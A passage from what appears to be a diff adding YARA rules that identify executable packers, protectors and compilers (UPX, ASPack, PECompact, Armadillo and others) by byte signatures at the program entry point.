74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3 83 EB FD}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1032_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _OS2_Icon_Graphics_format_
+{
+	meta:
+		description = "OS/2 Icon Graphics format"
+	strings:
+		$0 = {43 49 4E 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCknt_203_
+{
+	meta:
+		description = "PELOCknt 2.03"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01 EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 01 EB EB 02 CD 20 EB 03 CD 20 EB FC EB 02 C7 85 E8 00 00 00 00 EB 03 CD 20 EA 5E EB 03 CD 20 69 0F 01 4E F4 EB 03 CD 20 EB EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _setupexe_Section24rdata_
+{
+	meta:
+		description = "setup.exe Section(2/4,.rdata)"
+	strings:
+		$0 = {50 32 04 00 6A 32 04 00 00 00 00 00 EE 32 04 00 0C 33 04 00 2A 33 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_10__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.0 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _IMPostor_Pack_10__Mahdi_Hezavehi_
+{
+	meta:
+		description = "IMPostor Pack 1.0 -> Mahdi Hezavehi"
+	strings:
+		$0 = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LGLZ_v104_com_
+{
+	meta:
+		description = "LGLZ v1.04 [com"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_099_
+{
+	meta:
+		description = "PE-PACK 0.99"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_22x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.2.x -> SoftComplete Developement"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM__sig1_
+{
+	meta:
+		description = "MASM/TASM - sig1"
+	strings:
+		$0 = {CC FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v20_
+{
+	meta:
+		description = "PECompact v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+		$1 = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE2COM_regular_
+{
+	meta:
+		description = "EXE2COM (regular)"
+	strings:
+		$0 = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Basic_v10_1987_
+{
+	meta:
+		description = "Turbo Basic v1.0 1987"
+	strings:
+		$0 = {2E 8C ?? ?? ?? 2E C7}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_DLL_Method_2_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ DLL (Method 2)"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_071__072_EXE_
+{
+	meta:
+		description = "UPX 0.71 - 0.72 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 00 00 00 00 00 0E 0E 00 00 00 00 00 00 00 00 00 00 00 CB 55 50 58 21 09 00 02 07}
+	condition:
+		$0 at entrypoint
+}
+rule _GCC_RealBasic_FreePascal_signII_ASL_
+{
+	meta:
+		description = "GCC RealBasic/ FreePascal signII *ASL"
+	strings:
+		$0 = {55 89 E5 83 EC 18 83 3D 00 ?? ?? 00 00 74 01 CC D9 7D FE 0F B7 45 FE 25 C0 F0 FF FF 66 89 45 FE 0F B7 45 FE 0D 3F 03 00 00 66 89 45 FE D9 6D FE 83 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _EEXE_112__113_
+{
+	meta:
+		description = "EEXE 1.12 - 1.13"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 73 00 BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.04b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16c_by_Vaska_UsAr_sign_21032007_2225_
+{
+	meta:
+		description = "RCryptor 1.6c by Vaska (UsAr sign 21.03.2007 22:25)"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 F2 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 E8 40 EB F3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _PrincessSandy_10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy 1.0 eMiNENCE Process Patcher Patch"
+	strings:
+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_104142000_
+{
+	meta:
+		description = "Alloy 1.04.14.2000"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 46 23 40 00 0B C0 0F 84 A6 01 00 00 89 85 CC 22 40 00 83 BD 90 22 40 00 01 74 04 8B F8 EB 18 68 D8 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V10beta__ap0x_
+{
+	meta:
+		description = "RLPack V1.0.beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+		$1 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v300_v301_Extractable_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _vprotector_13__vcasm_
+{
+	meta:
+		description = "vprotector 1.3 -> vcasm"
+	strings:
+		$0 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_V006_forgot_
+{
+	meta:
+		description = "PEQuake V0.06-> forgot"
+	strings:
+		$0 = {E8 A5 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C2 08 00}
+		$1 = {E8 A5 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtect2060702Cloud__CoooLie_
+{
+	meta:
+		description = "VProtect.2.0.6.0702.Cloud -> CoooLie"
+	strings:
+		$0 = {66 8B C9 8D 89 F9 FF FF FF 8A D2 8D 89 07 00 00 00 66 53 8B C9 66 5B 9C 9D 8B 67 28 8D AD FF FF FF FF 66 F7 D1 9C 9D 66 F7 D1 8D AD 01 00 00 00 61 52 5A 9D 66 51 66 87 CD 66 87 CD 66 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V020__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.20 -> Dwing   * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11X_Method1__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X (Method1) -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b4_
+{
+	meta:
+		description = "Armadillo v1.90b4"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _E_Language__WuTao_
+{
+	meta:
+		description = "E Language -> WuTao"
+	strings:
+		$0 = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule __v10___
+{
+	meta:
+		description = "ÎļþÀ¦°óÆ÷ v1.0 -> ÐíÔÆ"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__Watcom_CCpp_EXE_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)"
+	strings:
+		$0 = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+		$1 = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1994_
+{
+	meta:
+		description = "Borland C++ for Win32 1994"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 0F ?? ?? ?? ?? ?? 80 ?? ?? ?? ?? ?? ?? 74}
+		$1 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEBundle_02__3x__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_v21_1_
+{
+	meta:
+		description = "Petite v2.1 (1)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+		$1 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v132_
+{
+	meta:
+		description = "ASProtect v1.32"
+	strings:
+		$0 = {01}
+		$1 = {01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Rec_Small_102_
+{
+	meta:
+		description = "Rec Small 1.02"
+	strings:
+		$0 = {8C D8 1E E8 00 00 83 C0 0F 5D B9 00 00 81 ED BA 03 40 8E D8 2B DB B2 00 00 17 FE C2 43 83 FB 10 75 F6 E2 ED 1F 8C C0 03 C3 2E 01 86 F5 03 2E 03 86 F9 03 FA 2E 8B A6 F7 03 8E D0 FB EB 00 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Best_Cryptor__FsK_
+{
+	meta:
+		description = "The Best Cryptor -> FsK"
+	strings:
+		$0 = {EB 06 56 52 55 4C 5A 00 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_Keys_ShellClient_Library_V1211__SafeNet_Inc__20090524_
+{
+	meta:
+		description = "Sentinel Keys Shell(Client Library) V1.2.1.1 -> SafeNet Inc. * 20090524"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 53 56 57 85 C0 0F 85 A3 18 00 00 A1 ?? ?? ?? ?? 33 FF BB 01 00 00 00 3B C7 89 1D ?? ?? ?? ?? 0F 85 6C 07 00 00 75 03 74 01 ?? 83 EC 08 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 81 7C 24 3C 7C 03 7D 01 E8 9B 83 FF FF 7E 03 7F 01 ?? 89 1D ?? ?? ?? ?? 72 03 73 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 7C 24 28 75 03 74 01 A1 ?? ?? ?? ?? 25 07 00 00 80 79 05 48 83 C8 F8 40 A3 ?? ?? ?? ?? 7C 03 7D 01 ?? 39 3D ?? ?? ?? ?? 74 17 75 03 74 01 ?? 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B C1 A3 ?? ?? ?? ?? 75 03 74 01 ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_099_f_m_COM_
+{
+	meta:
+		description = "aPack 0.99 -f -m [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 A4 FF D5 73 FB FF D5 41 73 12 FF D5 BB 10 00 72 00 FF D5 12 DB 73 FA 75 00 93 EB 00 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF 03 72 00 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v202c_
+{
+	meta:
+		description = "PE Lock NT v2.02c"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+		$1 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_DEF_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DEF 1.0"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_129__130_COM_
+{
+	meta:
+		description = "XPack 1.29 - 1.30 [COM]"
+	strings:
+		$0 = {8C C8 05 00 10 8E C0 BF 00 01 8B F7 FC B9 60 6D F3 A5 06 B8 77 01 50 CB 1E 06 1F 07 BE 00 02 BF 00 01 06 57 E8 11 00 33 C0 8B D8 8B C8 8B D0 8B F0 8B F8 8B E8 06 1F CB EB 1D 80 E2 0F 75 05 50 AD 8B E8 58 FE C2 D1 E5 C3 33 C9 E8 EC FF D1 D1}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_2005_Release__Microsoft_
+{
+	meta:
+		description = "Visual C++ 2005 Release -> Microsoft"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 ?? FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_114a_
+{
+	meta:
+		description = "Trap 1.14a"
+	strings:
+		$0 = {B9 E8 03 EB 03 90 CD 20 E2 F9 8C D1 BA 99 CB 8E D2 33 D2 8E D1 8B CA 33 D2 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 33 83 C1 FE 83 C2 01 EB ED EB FE EB 25 0D 0A 09 09 09 20 C4 C4 C4 C4 C4 C4 C4 C4 5B 20 54 52 41 50 20 31 2E 31 34 20 5D C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PMW1_Executable_Image_using_DOSExtender_
+{
+	meta:
+		description = "PMW1 Executable Image (using DOSExtender)"
+	strings:
+		$0 = {50 4D 57 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V1304__cyberbob__20080310_
+{
+	meta:
+		description = "PESpin V1.304 -> cyberbob * 20080310"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 ?? DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? EB 01 ?? EB 0D ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB ?? ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 ?? ?? ?? ?? EB 06 ?? ?? ?? ?? ?? ?? F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_V61__Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere V6.1 -> Zero G Software Inc"
+	strings:
